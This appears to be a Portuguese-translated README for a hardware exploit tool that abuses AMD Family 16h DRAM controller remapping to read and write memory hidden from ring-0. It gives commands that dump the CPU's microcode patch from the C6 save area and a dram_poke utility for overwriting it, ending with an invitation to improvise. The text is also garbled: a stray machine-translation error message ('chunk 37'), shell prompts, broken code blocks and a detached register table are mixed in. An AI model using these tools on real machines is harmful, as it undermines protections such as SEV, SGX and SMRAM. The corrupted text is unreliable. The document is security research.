Um core com o bit BSP setado, três sem — o processador de boot e suas três APs, pegos em pleno idle com o estado de seus registradores exposto.

Quanto mais você explora, mais registradores de CPU você começa a encontrar:

Claro, esses registradores são todos acessíveis a partir do ring-0 de qualquer forma. A parte divertida está em todo o outro estado de CPU que fica ali — cutucando os registradores internos da CPU que o ring-0 não alcança.


Início rápido: desbloqueie seu microcódigo de CPU

O que poderia dar errado?

Quando um core entra em C6, sua RAM de patch de microcódigo — SRAM volátil — fica escura junto com o resto do core. Então o compartimento C6 mantém o patch carregado na DRAM e o re-semeia ao acordar. Essa cópia fica em +0x1800 em cada área de salvamento, e o alias a alcança como qualquer outro byte.

Pegue a cópia do microcódigo que a CPU guardou na DRAM isolada:```sh ./userspace/platform_check || exit 1 eval "$(sudo ./userspace/dram_carveouts --region cc6)"

page 1 of core 0's save area is the live microcode patch body

sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

root@kitploit:~
Compare-o com patches conhecidos:```sh
# did we find it?
python3 - <<'EOF'
ram = open("ucode_ram.bin", "rb").read()
chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12]
for fam in (15, 16, 17, 19):
    uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read()
    print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match")
EOF

Este é um bom sinal:```text fam15h: 0/94 chunks match fam16h: 68/94 chunks match <- the microcode the core is running fam17h: 0/94 chunks match fam19h: 0/94 chunks match

root@kitploit:~
Extraia as tríades de ucode:```sh
od -Ax -tx1 -w20 ucode_ram.bin

I don't see any content in the INPUT section to translate. Please provide the actual chunk 37 content.```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0

root@kitploit:~
E aí está, uops distintos no topo, preenchimento NOP repetindo abaixo.

A partir daí, `dram_dump` tem uma ferramenta irmã, `dram_poke`. O mesmo alias que
leu o patch pode escrevê-lo — e esta cópia é a que o core recarrega
ao sair do idle.

O que você fizer a seguir depende da sua imaginação.

---

## Compilação```
make        # builds kernel/spaghettify.ko and all userspace tools
make clean

Uso

Execute como root. Detalhes completos em USAGE.md.

dram_read

Leitura simples de um endereço de memória protegido.

Aplique os flips --do-swizzle / --do-bankswap ao controlador DRAM para entrar na visão de memória espaguetificada, leia um dword do endereço físico <pa>, restaure os bits DCT e retorne o valor.``` dram_read --pa --do-swizzle <0|1> --do-bankswap <0|1>

root@kitploit:~
### `dram_poke`

Escreve em um intervalo de memória protegido.

Cada `--map` é uma espaguetificação resolvida a partir de `unspaghettify.py --save-map`,
alimentada por pares de aliases coletados por `gather_aliases.py`; o alias de cada
dword no intervalo protegido é recuperado do mapa por meio de uma pseudo-inversa GF(2)
calculada uma vez na inicialização. Passe vários mapas — um por
`(at_swizzle, at_bankswap)` coletado no mesmo hardware — para ampliar a cobertura,
já que cada espaguetificação deixa um conjunto diferente de buracos com posto deficiente e
o primeiro mapa que alcança uma determinada dword vence.```
dram_poke
    [--dangerously-skip-calibration]
    [--calibrate-pa <hex>]
    [--strict-holes]
    [--no-verify]
    [--ignore-fw-mismatch]
    [--fenced-range <lo>,<hi>]
    [--allow-fenced-alias]
    -s, --protected-pa <pa>
    -l, --length <n>
    --map <file> [--map <file>]...
    < in.bin

dram_dump

Lê de uma faixa de memória protegida.

Mesmo mecanismo de --map que o dram_poke: cada mapa é uma "spaghettification" resolvida a partir de unspaghettify.py --save-map, o alias para cada dword é recuperado via uma pseudo-inversa GF(2) de disparo único, e múltiplos mapas coletados em diferentes (at_swizzle, at_bankswap) ampliam a cobertura onde os buracos de posto deficiente de um mapa são preenchidos pelos de outro.``` dram_dump [--dangerously-skip-calibration] [--calibrate-pa ] [--dry-run] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]...

root@kitploit:~
A toolchain completa — `dram_state`, `dram_carveouts` e `dram_alias`; o
pipeline de análise `gather_aliases.py` / `unspaghettify.py`; exemplos práticos
de ponta a ponta; e os detalhes internos — está documentada em **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/HEAD/USAGE.md)**.

---

## O pipeline compartilhado

`skitter-creek-bath-salts` explora como os estágios finais das transformações MCT/DCT
podem derrubar a segurança de tudo o que foi construído acima dele. O exploit
demonstrado aqui é um registrador de configuração na AMD Family 16h, escolhido
porque as folhas de dados forneciam o suficiente para começar. O *pipeline* que ele
quebrou está em toda parte.

Interleave de canal, interleave de rank, interleave de banco, swizzle, chip-select
normalize — todo controlador de memória moderno implementa alguma versão de tudo isso.
AMD. Intel. ARM. RISC-V. Móvel. Servidor. Embarcado. A mesma forma arquitetural
está subjacente a tudo isso.

*Acima* de tudo isso estão SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP,
o PSP, ME, T-SEG, SMRAM, o stash C6. Tudo o que está na DRAM — até mesmo as coisas
isoladas e invisíveis para o ring-0 ou para a própria CPU — repousa nas camadas finais
de um pipeline `*p` que acabamos de começar a explorar.

---

## Referências

* Black Hat 2026 — Spaghettifying DRAM (Em breve)

---

## Autor

`skitter-creek-bath-salts` é um esforço de pesquisa de Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))

---

![Experiment](https://assets.kitploit.com/production/public/readmes/50084/e0d23a5801481c1c13057e8e0a1b4bdd3875a6c36140ea37f577cfa5801ec982.jpg)

---
Baixar ferramenta
offsetestado x86valor do core-0
+0x8b0GS / base per-cpu0xffff9be4e3600000
+0x9a0CR3 (raiz da tabela de páginas)0x0fd46000
+0x9b8IA32_APIC_BASE0xfee00900
+0xa38MTRR variável (base/máscara)0x6f000000 / …0800
+0xb10RIP salvo0xffffffff8f3a0029